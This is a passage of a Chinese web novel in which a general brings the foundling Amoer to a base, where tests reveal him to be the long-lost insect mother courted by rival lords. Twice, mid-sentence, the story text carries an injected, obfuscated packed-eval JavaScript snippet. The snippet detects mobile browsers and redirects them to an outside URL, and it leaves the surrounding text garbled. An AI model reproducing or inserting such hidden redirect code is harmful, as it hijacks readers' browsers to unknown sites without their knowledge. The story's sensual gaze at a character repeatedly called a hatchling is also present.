阿默尔被这突如其来的对峙吓了一跳,他连忙抚摸着铁甲靠近的颚侧,又转头对长爪和小宝做出安抚的手势,灰蓝色的眼睛里满是焦急。 他不想他们打架。 艾凛的精神力瞬间扩张,如同一张大网,试图压下双方一触即发的冲突。 “欧迦,注意你的言辞。它们保护了他,给了他容身之所,这是事实,他们是一家人,如果你也想要家人,至少要做的更好。” 欧迦却皱着眉,“艾凛,你难道感觉不到吗?小宝宝身上连最基本的精神力防护都没有,气息完全外放!在荒星上,这就像黑夜里的灯塔,如果不是这三只野兽还算有点地盘意识,再加上你的屏障,他早就被不知道哪里冒出来的掠食者撕碎了!” 艾凛无言以对。 欧迦的话虽然难听,却戳中了他一直以来的隐忧。 阿默尔的气息太特别,太纯净,对任何虫族都有着天然的吸引力,同时也极易引来危险。 仅靠他和三只德亚加虫,以及一个临时屏障,绝非长久之计,他带物资来,本来就是存了改善小宝宝生活水平的心思,只是没想到意外接踵而至。 诺顿开口:“我想,他需要族群,真正的族群,你不能让他一直住在山洞里当野虫,而是给他选择怎样生活的权力。” 这句话让洞内洞外都为之一静。 真正的族群。 对于失去虫母、灵魂永远处于饥渴与躁动中的虫族而言,这个词拥有着难以想象的分量。 那意味着秩序,意味着归属,意味着精神网络的联结与抚慰,意味着最高等级的保护。 阿默尔显然不属于任何已知的虫族谱系,但他是虫族难得的幼崽,必须被好好保护起来。 欧迦的红眸子紧紧盯着阿默尔。 他想把这个小东西带回自己的领地,用最坚固的堡垒守护起来,为他搜寻宇宙中最柔软的织物和最甜美的食物。 看着他慢慢长大,安稳地生活在自己的羽翼之下…… 维萨的脑海中也闪过无数念头。 带走少年?以什么名义?艾凛绝不会轻易放手。 联合欧迦和诺顿施压?军部和领主之间的关系本就微妙,要不是中间隔着内阁,他们早就开战无数次了。 他的目光再次落到阿默尔身上,心尖像是被细针轻轻刺了一下,有些疼。 他不喜欢这种感觉,尤其是眼睁睁看着一只那么可爱的虫崽,随时可能会死在荒原里。 艾凛觉得不能再这样僵持下去了,每多一秒,少年暴露在保护之外的世界多一秒,危险就多一分。 他必须做出决断。 艾凛缓缓转过身,面对着阿默尔。 他半跪下来,让自己与坐在干草铺上的少年视线齐平,钴蓝色的眼眸如同深邃的冰海,却罕见地漾起柔和。 他伸出手,轻轻握住了阿默尔放在膝盖上冰凉的手。 “小宝宝,”他的声音压得很低,确保只有少年能听清,“听着,外面的情况有些复杂,这里可能不再安全了。” 他顿了顿,看着少年骤然睁大的眼睛,心脏微微一抽,但语气依旧平稳坚定,“我需要带你离开这个洞穴,去一个更安全,更适合你的地方,如果你想要它们跟你一起走,” 他示意了一下紧张注视着的铁甲三虫,“我会安排,但首先,你要跟我走。相信我,好吗?” 阿默尔看着他,再回头看看伤痕累累却依旧守护着他的铁甲、长爪和小宝。 离开这个温暖的巢穴,去一个未知的地方? 他害怕。 但他也能感觉到艾凛话语中的真诚。 艾凛救过长爪,留下了保护罩,一直挡在他前面……他似乎,可以相信他一点点? 阿默尔抿了抿唇,手指在艾凛的掌心微微蜷缩。 最终,他极小幅度地,点了点头。 三只德亚加虫发出低低的叫声,用身体和触须高兴地蹭着阿默尔,仿佛很开心要和小妈咪一起走了。 艾凛的心中并无多少轻松。 带走阿默尔只是第一步,如何安置他是更棘手的难题。 但不管怎么说,把小家伙带走先。 他脱下自己厚重的军装外套,将阿默尔严严实实地裹住,只露出一张小脸和那两条不安颤动的粉色触须。 然后,他小心翼翼地将少年抱了起来,“乖乖,我们走了。” 站起身,艾凛面向洞口,面对目光瞬间变得锐利无比的三位雄虫,他的精神力全面展开。 “阿默尔由我监护。在正式确定他的归属和安排之前,任何虫不得靠近,不得骚扰。” 他的目光逐一扫过欧迦、维萨和诺顿,“这是军部的临时管制令,有异议,可以向内阁申诉。现在,让开。” 欧迦他们倒是没有阻拦,但也没打算放弃跟随。 看着阿默尔被包裹着,只露出一双湿漉漉的眼睛,诺顿轻笑一声,身影悄然后退,融入了洞外的阴影中,“请吧,我们随后就到。” 艾凛不再多言,抱着阿默尔,展开银灰色虫翅,化为一道流光,冲天而起,迅速远离了巢穴。 在他身后,三只德亚加虫紧随。 三位强大的雄虫彼此对视一眼,眼中各有深意,随即也跟上。 阿默尔在艾凛的怀抱里十分安静。 风掠过耳际,带着荒星特有的粗粝气息,阿默尔却丝毫没感觉到冷。 艾凛的军装外套宽大又温暖,还裹着一股清冽的气息,像一张安全的网,将他妥帖地护在其中。 “很快就到了。”艾凛低声说,“那里有柔软的床,还有甜的营养液,比生肉好吃。” 阿默尔听得懂,他眨了眨眼,抬手,用微凉的指尖轻轻碰了碰艾凛紧抿的唇角。 艾凛的身体猛地一僵。 下一秒,他低头,恰好对上阿默尔的目光。 那双干净的眼睛里,只有全然的信任。 * 消息传遍基地——艾凛上将回来了,还带回了一个年幼的虫崽,尚未成年,漂亮得像蝶种,香甜得要命。 艾凛降落在基地核心区域的停机坪时,四周已经布满了巡逻的士兵,军虫们目不斜视,但精神力正好气地探向这边。 艾凛稳稳落地,怀抱中裹得严实的军装外套动了动。 一条粉嫩的触须悄悄探出边缘,颤了颤,旋即又像受惊般缩了回去。 “乖,没事,别害怕,你安全了。”艾凛低声安抚,抱着阿默尔大步流星走向兼具指挥所与居所功能的堡垒式建筑。 艾凛将阿默尔轻轻放在客厅中央那张铺着深色绒毯的长沙发上。 外套散开,阿默尔有些茫然地坐在柔软得不可思议的织物里,快速打量着周围。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17219199|197499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这里的一切都棱角分明,泛着金属冷光,只有他身下的毯子和几个靠垫带着些许暖意。 空气里有股清新的香味,与洞穴中泥土、苔藓和德亚加虫身上温热气息截然不同。 他下意识蜷缩起脚趾,粉色的触须也无精打采地垂落下来。 “不喜欢?”艾凛注意到他的小动作,半跪下来,摸了摸他的头发,“这里比洞穴坚固很多。饿不饿?我去拿营养剂。” 阿默尔感觉了一下,点点头,“唔。” 饿了。 艾凛转身走向内置的食品储藏柜,指尖在光屏上快速点选。 阿默尔的视线追随着他,又转向紧闭的大门。 他能感觉到,铁甲它们就在外面不远,被引导到了基地边缘的临时看管区,还有……另外三道存在感极强的精神力,也停在了这座建筑外不远处。 艾凛很快回来,手里拿着一支封装好的淡金色浓稠液体,插好吸管,递到阿默尔唇边,“尝尝,甜的蜂蜜。” 虽然不是虫母出产,但勉强能喝,对虫族的精神力有一定的稳定作用。 阿默尔迟疑地凑近,嗅了嗅,一股过于馥郁的人造甜香让他皱了皱鼻尖。 但他确实饿了,于是小心地含住吸管,吸了一口。 味道……很奇怪,甜得发腻,滑过喉咙时带着微微的灼热感。 他勉强咽下,推开了艾凛的手,摇了摇头。 “呜呜……”好难吃。 艾凛眉头微蹙,这种高级营养剂是战地标配,能量充足且易吸收,但对幼崽来说,或许口味确实不够友好? 就在这时,客厅一侧的通讯屏幕自动亮起,威隆的面孔出现在上面,“上将,欧迦领主、维萨领主以及诺顿领主正在会客室等候,他们要求探视您带回的幼崽。另外,关于那三只德亚加虫的安置,也需要您的指示。” 艾凛眼神一冷,“告诉他们,没有我的允许,谁也不能进来。德亚加虫暂时安置在C7区,提供足量活食和清洁水源,没有指令不得靠近或刺激它们。” “是。”副官应道,屏幕暗了下去。 阿默尔听到了“德亚加虫”几个音节,他拽了拽艾凛的袖口,“呜?” “它们很好,”艾凛尽量让自己的语气听起来可信,“有吃的,有地方休息。等我把外面的事情处理好,就带你去看它们。” 阿默尔这才放心,“嗯嗯!” 艾凛起身,走到窗边,厚重的防弹玻璃外是基地井然有序却又冰冷肃杀的景象。 三位领主绝对不会轻易离开,不达目的不会罢休。 更麻烦的是,阿默尔的存在不可能一直隐瞒,一旦正式上报内阁,牵扯进来的势力和觊觎的目光只会更多。 他必须尽快做出更周密的安排,为阿默尔构筑一个真正稳固的庇护所。 但在此之前…… 艾凛回头,看见阿默尔正尝试着用光裸的脚丫去触碰冰凉的地板,一触即收,然后又小心翼翼再次尝试,那副好奇又谨慎的模样,让艾凛冷硬的心房某处,无声地塌陷了一小块。 小虫崽怎么能这么可爱? 真的不是宝宝吗? 他走回去,在阿默尔面前蹲下,握住他微凉的脚踝,用自己温热的掌心捂了捂。 “地板凉。”他顿了顿,似乎在斟酌词句,“你还愿意见他们吗?如果你不想,谁也不能强迫你。” 阿默尔伸出手,轻轻拍了拍艾凛的手背,然后点了点头,粉色的触须也微微扬起,仿佛在努力表达“我可以”。 艾凛凝视他片刻,最终叹了口气,“好。跟在我身边,不要离开我的视线,如果感到不舒服,就拉我的手。” 他打开内部通讯:“带他们到一号会议室。通知医疗官待命,准备温和的幼崽专用安抚剂和基础检测设备。” 说完,他替阿默尔整理好有些凌乱的头发和衣服,重新用一条更轻薄的保温毯裹住他,然后将他抱了起来。 阿默尔自然地搂住他的脖子,把脸靠在他肩颈处。 会议室里,欧迦、维萨和诺顿早已就座。 当艾凛抱着阿默尔走进来时,三双眼睛瞬间聚焦过来,艾凛无视了他们,走到主位坐下,将阿默尔安顿在自己身旁的椅子上。 阿默尔坐在宽大的椅子里,毯子裹到下巴,只露出一张精致的小脸和那对触须。 那三道目光就一直盯着他看。 欧迦率先开口,声音比在洞穴时低沉了些许,努力收敛了那份张扬的侵略性:“小家伙,你好。我是欧迦,赤瞳蜂种的领主。” 他试图挤出一个自认为友好的笑容,但常年居于上位的威严让这个笑容显得有些僵硬。 维萨轻轻哼了一声,语气倒是柔和了不少:“维萨,蝶种,你可以叫我维萨。” 他纤长的指尖点了点自己银白的发丝,“我们头发颜色很像,对吗?” 阿默尔点点头,“呜!” 诺顿笑了笑,不知从哪儿变出了一小块剔透,散发着清甜香气的晶石——那是某种星兽能量核的提纯物,对虫族幼崽有天然的吸引力。 诺顿把它托在掌心,递向阿默尔的方向,金眸含笑,逗幼崽似的,“要吃吃看吗?很香甜的哦。” 阿默尔看了看欧迦,又看了看维萨,最后目光落在诺顿掌心的晶石上。 他嗅到了好闻的味道,但并没有伸手去拿,而是先仰头看了看艾凛。 艾凛对他点了点头,心里有点难受,“你可以自己做主,不用看我的眼色。” 阿默尔这才伸出手,小心地从诺顿掌心拿过那块微凉的晶石。 入手温润,香气更浓,他凑近闻了闻,然后用舌尖轻轻舔了一下,一股纯净温和的能量流顺着舌尖蔓延开,带着自然的花蜜般的清甜,远比刚才那支营养剂可口。 他眼睛微微一亮,小口小口地舔舐起来,粉色的触须也跟着愉快地轻轻摆动。 这个反应,让在场四位成年雄虫的心脏,不约而同地,像是被什么柔软的东西撞了一下。 看着他吃东西,好像有一种幸福感在心头蔓延。 6. 第 6 章 欧迦看着少年递出唇角的小小舌尖,喉结滚动了一下。 怎么感觉软软的…弹弹的?像果冻一样,应该甜丝丝的,很好吃? ……便宜诺顿了,刚才把小虫崽抱在怀里rua了那么久,这会儿精神力早就平稳了吧? 诺顿正托着腮,水眸湿润润的,金水荡漾着,含情脉脉地盯着舔晶石的少年。 “……” 那眼神,欧迦看了就恶心。 骚虫,就会勾引。 上军校的时候,诺顿的引诱术一门课就修到了5.0满绩点,谁让他长得华丽,俊美,稍微用点小手段,就足够得到考官的满意? 当时大家都说要是诺顿遇到虫母陛下,估计要全天24h缠着虫母要亲亲抱抱举高高,把其他雄虫气死。 诺顿还当夸奖他呢,尾巴扬得七尺高。 ——骚死了,骚虫! 欧迦表示不屑,虫母陛下那么尊贵,怎么可能喜欢骚的? “够了吧,别对小宝宝放电了。”欧迦警告一次,“别教坏了他,你那点小心思谁看不出来?” 诺顿斜睨了他一眼,似笑非笑的,“瞧不惯别瞧,不是给你看的。再瞎看把你眼珠子挖出来。” 欧迦:“……!!” 维萨理都没理他们俩。 无聊。 他只是注视着少年那对愉悦摇摆的触须,翡翠色的眼眸里差点弹射出一对爱心。 “上将,真的不能让我抱回家养几天吗?”维萨优雅地拨了拨白发,高高在上地盯着艾凛:“虫族好不容易又出现了幼年虫崽,而且我们都是蝶种,他的生理期我懂。除了我,你们谁能照顾好他?” 艾凛冷冷淡淡地回答:“先别急着抢抚养权好吗?至少要问过他的意见吧,急死你们了,也不知道急着干什么去。” 虽然他也很理解维萨就是了。 当代虫族都靠基因复制延续社会发展,这些复制品等于短命消耗品,能上战场、当劳工,但他们从实验室里出来就是成年体,且具有独立意志,不可爱,也不招虫喜欢,外形也千奇百怪,是低等虫种。 少年是真正的幼崽啊!活生生的、软乎乎的,抱在怀里,谁能不爱啊? 阿默尔的外形看上去就是十七八岁的少年,青涩,干净,一双清澈得像山涧溪流的眼睛,眼型偏圆,像是小猫儿的眼睛,睫毛长而密,垂眸时在眼睑投下浅浅的阴影,带着点内敛的秀怯。 看上去就很温柔乖巧,昳丽而清爽,虽然身材高挑,腰细腿长,但是对平均身高2m+的虫族而言就是刚出生没多久的幼崽啦。 艾凛突然想起一个问题,他扭头看向阿默尔,“小宝宝,你……有名字吗?” 阿默尔点点头,他四处找,找到一支光子笔,在纸上写下“阿默尔·卡洛恩”。 他笑眯眯地看着艾凛。 四位高等种都看到了少年的名字,“阿默尔?阿默尔……” 艾凛收敛了心动,说:“那么,关于阿默尔的临时监护权和长期安置方案,以及那三只德亚加虫的处理。在帝国相关律法框架内,我提议让德亚加虫留守在基地里,它们大概不想离开虫崽——” 笃笃笃! 会议室的门突然被敲响了! 威隆闯进来:“上将,出现了紧急情况。C7区报告,那三只德亚加虫出现强烈躁动,试图突破隔离屏障,它们的精神波动异常激烈,似乎是在找小幼崽。” 阿默尔的身体不由自主地转向门口的方向,他跑了过去,拉着威隆的袖子,喉咙里发出了一声短促焦急的泣音,“……呜呜呜?” 这声呼唤很轻,却像一片柔软轻薄的雾纱,在四个雄虫的感知中回荡起来,充盈在他们枯竭干涸的精神海里。 犹如千年枯死的沟壑里灌满了海水,于是重新出现了生命、新鲜、生机,悲伤在漫长的燥郁后乍然苏醒过来,将沉寂唤醒。 刹那间,高等种们的脸色同时变了。 包括门口的威隆。 久违了的……安心。 任何药剂和技术都不能模拟的气息,源自生命本源,四个雄虫的精神力都不弱,在涟漪荡开的刹那就捕捉到了源头——正惊慌地望向门口、眼中含泪的少年。 艾凛最先从那种战栗的冲击中强行回神,他猛地绷直了触须,蓝眸深处掀起了惊涛骇浪。 他比其他三个更早接触阿默尔,却从未如此明确地感知到阿默尔的精神力量……是因为刚才阿默尔听到三只德亚加虫的情况,情绪剧烈波动,无意中散发出来的吗? “阿默尔……你先别急,”艾凛走过去,先把威隆从僵硬的状态里解救出来,然后把少年拉过来,让他靠着桌子休息一下,摸了摸他的脑袋,轻声说,“它们不会有事情的,我答应过你,先别着急,等下我们去看它们,好不好?” 阿默尔舒了口气,点了点头。 艾凛发觉少年的情绪很敏感,也许是他不会说话,所以社会化的程度很低,又和野生虫族一起生活,看起来确实不懂得很多事情,像一只不谙世事的小蝴蝶突然变成了大美人的模样。 或者说,月光下盛开的白茉莉? ……没关系,他们可以慢慢教。 欧迦的红眸却几乎要燃烧起来,他放在桌上的手背绷起了青筋。 “难道……阿默尔身上甜香的味道,是溢蜜吗?” 阿默尔歪了歪头:“嗯?” 什么是溢蜜? 欧迦竖起虫翅飞过来,迫不及待落在阿默尔面前。 然而维萨一把拉住他,眼珠子绿成一片藻海,“先别这样,你会吓到他的,就算他是——” “虫母”两个字说都不敢说出口,像是怕玷污了那两个字。 虫母……妈咪…… 诺顿也被震撼到了,他为了让自己冷静下来,揉了揉额角,金发披下来,金眸子却闪闪的,“如果他是虫母,那真是天大的喜讯……虫族要迎来盛世了。” 艾凛当机立断,对外喝道:“副官,立刻带医疗队去C7区,优先确保德亚加虫稳定,使用非伤害性镇静手段!没有我的命令,任何虫不得伤害它们,向它们持续传递阿默尔安全的信息!” “是!”威隆领命而去。 艾凛:“会议暂停。维萨,你是蝶种,对生物信息素和精神力敏感,跟我来医疗室。” 维萨深吸一口气,“好。” 艾凛拉着阿默尔,大步离开了会议室,维萨紧随其后。 医疗室那边,提前接到通知的医疗官和几位核心医护人员已经全副武装等在那里,各种精密仪器就位。 看到阿默尔时,所有虫都愣了一下,但极高的职业素养让他们迅速恢复常态,“上将,维萨领主。” 为首的医疗官是个表情严肃的蛾种中年雌虫,“已经准备好最高规格的幼崽体检程序,包括全谱系生物信息素分析,隐性基因序列筛查。” “开始吧。” 艾凛让阿默尔躺在检测床上,但并没有离开,而是就站在床边,握住了阿默尔的一只手。 “全程温和操作,以他的舒适和安全为第一优先。” “明白。” 检测开始了。 阿默尔有些害怕那些嗡嗡作响的仪器,但在艾凛的陪伴下,他仍然配合着。 维萨站在稍远一点的地方,全程沉默地观察着,他的精神力感知着阿默尔身上的精神力场变化,时间也一点点过去。 “初步的生物特征扫描结果出来了,阿默尔的生理结构确实融合了多种虫族特征,但都不完全,像是后天实验室改造过的状态。” “90%的蝶种基因,可以判断为夜明珠蝶血脉。” “而且他的骨龄还很年幼,应该是从出生起就没有受到过很好的照顾,所以一直缓慢生长着,他的发育期比规定年龄晚了近十年,基因却已经很成熟了,正在经历发育期。” 这说明阿默尔不是纯天生的虫族,甚至不是纯粹的蝶种。 “不过,这……” 医疗官们交换着难以置信的眼神,操作仪器的手指都有些颤抖。 “这好像是虫母的基因序列……按照发育早期阶段的理论描述,阿默尔的基因和虫母的基因吻合度高达99.9%。” 虫母。 失踪无数岁月,被整个种族绝望思念和寻找的虫母……以一个懵懂少年的形态,重新出现在他们面前了! 当时就有两个研究员晕倒了。 赶紧有虫把他们抬走急救了。 “但是,需要注意的是,”另一位年长的研究虫补充道,声音同样发颤,“数据显示虫母陛下处于极早期的发育阶段,身体非常非常脆弱。” “虫母的发育期极其漫长且充满不确定性,需要最精心的呵护和最稳定的环境,任何过度的刺激、伤害或不当的精神力冲击,都可能中断发育,甚至导致不可逆的损伤或……” “消亡。” “没有虫族养过虫母!我们没有紧急预案!” “现有的经验完全不足以支撑养虫母……虫神啊,这可怎么办?” 哐当!又倒下去三个研究员。 守卫们抬都抬不过来了,他们也陆陆续续开始晕倒! 医疗室里的慌乱叫嚷声此起彼伏,满室的研究员急得眉心拧成疙瘩,交头接耳间皆是无措。 虫族百年来只懂得尊敬虫母、爱护虫母,却没有现有虫族亲眼见过虫母,没虫知道该如何将这位至宝般的存在妥帖的养着! 偏生眼前这位虫母还生得这样清隽青涩,眉眼柔和,半点没有上古虫母的威严,反倒让一众惯于杀伐的虫族,连大气都不敢喘,更别提琢磨周全的照拂法儿了。 艾凛感觉自己的血液都快要凝固了,他握着阿默尔的那只手不自觉地收紧,又立刻强迫自己放松,生怕弄疼了他。 “宝宝……不,妈咪……陛下……” 他看向检测床上因为疲惫和陌生环境而有些昏昏欲睡的阿默尔,少年正依赖地靠着他的手臂,粉色的触须随着呼吸轻轻起伏。 如此脆弱,如此珍贵。 “所有数据,即刻加密,列为帝国最高机密,权限仅限本医疗室在场者及我本虫。” 艾凛的声音冷硬如铁,“在发育未进一步明朗结果之前,任何关于‘虫母’的信息,严禁泄露给基地其他成员,尤其是——” 他顿了顿,一字一句道,“严禁上报内阁,或通知任何其他领主及势力,包括联邦政府的管辖范围内的任何虫族。” 医疗官们凛然应诺。 维萨深深吸了一口气,似乎想说什么,但最终只是看着阿默尔,点了点头。 他明白艾凛的顾虑,虫母重现的消息一旦走漏,引发的将不仅仅是惊喜,更可能是席卷整个虫族社会的巨大风暴、权力博弈乃至战争。 在阿默尔得到妥善保护之前,秘密必须守住。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17219200|197499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 艾凛吩咐:“医疗官,你要制定一份针对阿默尔当前状态的养护方案,包括营养、环境、精神安抚等一切细节。” 还健在的医疗官们忙不迭地去准备起来。 艾凛弯下腰,轻轻将睡着了的阿默尔抱起来,“维萨,我先带他去休息。记住,除了诺顿和欧迦之外,对任何虫都不能透露。” “你还不放心我吗?”维萨低低说了句,“我跟你一起去。” 艾凛抱着阿默尔走向宿舍楼的顶层。 怀中的重量很轻,却承载着或许整个虫族未来的重量。 把阿默尔放到床上之后,艾凛和维萨退出房间,为新生的小虫母打点一切。 * 阿默尔对“虫母”的意义不大清楚。 不过艾凛给他安排了全新的宿舍,就在整座基地最东边的001栋,太阳升起的方向。 楼下就是铁甲、长爪、小宝的居住地,它们仨看到他平安无事,终于肯吃饱喝足,守护在他身边睡大觉。 阿默尔在被子里睡了个昏天暗地。 苏醒之后,他在床边看到了一头金发的诺顿。 阿默尔吓了一跳:“唔?” 阿默尔坐在床上,猛地往后退了退,靠在了床垫上,修长细瘦的双手搭在被窝上,警惕地看着诺顿。 然后诺顿单膝跪了下去。 他看出来了小虫母的胆怯,对于阿默尔来说,这一切确实有些突然了。 艾凛说这件事要先保密,但是在诺顿心里,阿默尔已经是虫族未来的王了,那么早一点晚一点,又有什么区别? 能得到王的宠爱和亲近,才是虫族的荣耀,能够抢先一点,又有什么错呢? 诺顿牵起了阿默尔的手,放在唇边轻轻吻了一下。 “阿默尔,我都知道了,原来你是未来的虫母陛下。” “也许我不能再叫你小宝宝了,我应该叫你妈咪。” 阿默尔:“呜??” 妈咪是什么!虫族怎么有这种习惯,随便就叫人妈咪吗? 诺顿看上去温温柔柔的,怎么这么大胆? 不过阿默尔还是尊重虫族的习惯,他也不知道实验室的人给他做了什么改造,但阿默尔确确实实在他们嘴里听过“虫母”两个字,当时没在意,今天却突然想起来了。 他们说他是被污染的改造品,他是虫母,所以才将他遗弃。 原来他真的是虫母! 阿默尔怔怔地坐在床上,没记错的话,书上说,虫族只有一个虫母,虫母是虫族的王,是虫族所有虫的妈咪,虫母能产蜜,能安抚虫族,还有孕囊,能、能生虫崽…… 诺顿鼻尖嗅到了阿默尔身上散发出来的蜜香,金瞳险些竖成一条窄细的长线。 “妈咪,我为您穿袜子和鞋子好吗?” 阿默尔犹豫了一下,他按了按诺顿的肩膀,他不太习惯被伺候,这些事情从前都是他自己弄。 诺顿静静等着他的小妈咪吩咐。 妈咪脾气很好,温和但又冷静,小虫母没有生来便受万众簇拥,不习惯虫族的恭敬和呵护,总带着疏离,这很正常。 以后他们会一点点照顾小虫母的。 “嗯。” 阿默尔同意了,他伸出两条腿,膝盖微屈着,冷白肤质的小腿线条有一点点弧度,白皙又纤细,落在诺顿眼底,肤肉是和他触须一样淡淡的粉色。 很柔嫩的皮肤。 小妈咪还等着诺顿给他穿袜子呢。 诺顿收拢起虫翅,屈膝半跪在地,拿起柔软的棉袜,细致地覆上阿默尔的脚背。 顺着脚踝轻轻往上捋,生怕力道重了些弄疼他。 小虫母的脚连一点点薄茧都没有,像是没踏足过地面,娇生惯养过的细腻,不知道他之前是在哪里长大的,像是……被营养液泡大的。 一想到小虫母可能被做过实验,诺顿就心痛到呼吸困难。 俯身的时候,诺顿免不得要贴近小虫母的腿,鼻尖的蜜香便更浓。 他垂了垂眼,喉结轻轻一滚,金眸暗了暗。 ……忍住。 他先给阿默尔穿好袜子,又拿起一旁的鞋子,将阿默尔的脚轻托进鞋内,手指仔细理好鞋口的褶皱,确保没有半点硌着的地方。 一切收拾妥当,诺顿微微俯首,温热的唇瓣轻轻落在阿默尔的鞋尖上。 阿默尔的腿僵硬了一瞬,他还是有点不习惯被照顾的感觉。 诺顿毕竟和长爪铁甲小宝它们不一样。 诺顿察觉到小虫母的不信任,心脏狠狠地疼了一下。 他的手慢慢抚摸着阿默尔的小腿,放松他的肌肉,触须没精打采地摇晃着,就算小虫母身上的蜜香让他神魂颠倒,他也没有心思去享受。 “没关系,妈咪,您以后就习惯了。”诺顿轻声哄道,“从今以后,我不会再让您受到风雨惊吓,我会用我的生命守护您。” 阿默尔看着他,眉眼间漾着淡淡的柔和,手掌搭在他的金发上。 诺顿察觉到小妈咪的默许,缓缓抬头。 看见一双灰蓝色上翘的温柔小猫儿眼,淡淡的色彩,清冷而疏离。 似有怜悯与慈悲。 高大的雄虫垂了垂眼,压下眸中暗色。 诺顿试探着问,“妈咪,如果您觉得我服侍得还不错,以后,我能不能贴身服侍您?” “做您的骑士,让我的领地,成为您的骑士团?” 7. 第 7 章 骑士团,领地……这些词汇对阿默尔来说既陌生又遥远。 他过往的生命里只有洞穴、铁甲它们,以及在实验室的时光。 但诺顿那双耀眼的瞳孔,让他无法轻易忽视或拒绝。 “……” 阿默尔不太明白“骑士”在虫族具体意味着什么,但他能感觉到诺顿想要靠近他。 这似乎不是坏事,那就同意吧? 灰蓝色的眼眸眨了眨,阿默尔收回手,轻轻点了点头。 他拍了拍诺顿的肩膀,然后把诺顿拉了起来,把手放在他的掌心,画了一个圈。 认可。 诺顿被惊喜淹没,脸上却没有走漏分毫兴奋,他不想让新生的小虫母被他吓到。 他克制地低下头,将额头轻轻抵在阿默尔的手背上,触须愉悦地高频颤动起来。 这是他有生以来第一次让触须颤抖到这个频率。 “谢……谢谢您,妈咪。”他的声音有些哽咽,是夙愿得偿的震颤,“您太慈悲了。” 阿默尔看着诺顿不停颤抖着的发丝,哭笑不得。 明明诺顿已经是成年的雄虫了,却在他脚边流着泪水,亲吻他的脚尖。 “妈咪?您睡醒了吗?我进来了。” 房门被轻轻敲响,随后推开。 维萨端着一个托盘走了进来,上面放着几支营养剂,草莓味的,奶味的,完全是虫崽的口味, 还有一盘切成小块的瓜果,这已经是基地里最接近天然蜜源的食物了,这鬼地方资源贫瘠,自然要把所有最高等的食物给小虫母享用了。 虫族是这样的,哪怕苦了自己,也不能苦了虫母。 什么苦都能咽,什么罪都能受,唯独虫母的一丝委屈,全族都忍不了,资源再少全往虫母那送,这是虫族刻在骨子里的生存法则。 看到跪在阿默尔床边的诺顿,以及他亲近的姿态,维萨挑了挑眉。 诺顿这骚虫,到底和小虫母说什么了? 反正不能是什么好话,惹得小虫母对他和颜悦色的,肯定是偷偷亲小虫母了。 看他手里还抱着妈咪的鞋,还用猜吗? 维萨面上并无异色,他将托盘放在床头柜上,一头雪亮的银发顺着肩头滑下去,“妈咪,” 他顺势牵起了小虫母的手,另一只手则绅士地颔在胸前,“您醒了,感觉怎么样?先吃点东西吧。” 阿默尔被他牵着站起来,选了一支标注着“温和幼崽专用”的淡紫色营养剂,看上去还不错。 “这个口味吗?好的,妈咪。”维萨插好吸管,递给阿默尔。 这也太、太客气了? 阿默尔礼貌地接过来,抱着营养剂慢悠悠地喝,淡紫色味道类似莓果混合花蜜,确实更容易接受。 他满足地眯了眯眼,触须也惬意地舒展开。 维萨舒了口气,看向还跪坐在地上的诺顿: “诺顿,妈咪正在经历发育期,你这样不好吧?妈咪情窍都没开,你就迫不及待要勾引妈咪了?” 无辜的阿默尔:“……” 诺顿缓缓站起身,他当然听出了维萨的冷嘲热讽。 他并不介意,反而对着阿默尔露出一个温柔得能溺毙虫的笑容:“妈咪,我先和维萨去处理一点小事,您先用餐,我很快回来。” 阿默尔:“嗯嗯!” 诺顿优雅地行礼,拉着维萨退下,关上房门的瞬间,他脸上温柔的笑意瞬间收敛。 “我警告你,别在妈咪面前说那种话。” “哦?”维萨绿眸闪烁,恶劣地笑着,“你怎么不看看你做出了什么事?跪在地上求妈咪怜悯你?” “诺顿,我真是小看你了。” “你们蜻蜓种在内阁里搅动各方,不是要立法案保全种族权益,就是要扩张领土星,霸占其他种族的运输航路,甚至还搞截流那一套,每天都在闹,怎么,你们蜻蜓种要造反?” 诺顿淡淡地说:“蝶种也不是什么好东西,连内阁首相都是蝶种了,你们当然不争也不抢,但虫母陛下上台后,内阁必然会重组,谁会不爱权力呢?” “不论虫母陛下是否出现,千百年来,各个种族间就是纷争不断。我们共同侍奉的是虫族的未来,是至高的虫母,任何个虫情绪,都必须服从于这个前提。” “我的骑士身份现在由妈咪赐予,我的忠诚和行动准则,也只会以妈咪的福祉为唯一准绳。希望你也能牢记这一点。” 维萨微微笑着颔首,“明白。” “妈咪是妈咪,我们是我们,不要在妈咪面前说这种事,政治和情感最好分开,就算我们私下吵得再狠,也不要让妈咪烦心。” 诺顿:“你知道就好。” 维萨:“好了,你走吧,我还有事想和妈咪单独说。” 诺顿料他也不敢做什么,到外面去站岗了。 维萨看着他守得这么紧,简直像闻见肉味的鬣狗,寸步不离。 冷笑一声,推门去见虫母。 “妈咪,” 维萨坐在床边,一双蝶翅收拢,正襟危坐,“医疗官正在根据您的身体数据,调配更适合您的营养配方,很快就能送来,我会安排好一切,您只需要安心留在这里,慢慢适应,慢慢长大。” “这个长大的过程很漫长,有很多考验,我会陪您一起度过。” “还有铁甲、长爪和小宝,它们会一直在楼下,您可以随时去看它们,它们是您的家虫,这一点永远不会变。” 听到铁甲它们的名字,阿默尔的眼睛亮了一下,用力点了点头。 “至于诺顿,还有欧迦、艾凛上将他们……” 维萨的眉头蹙了一下,斟酌道:“他们对您的亲近是本能,也是麻烦。” 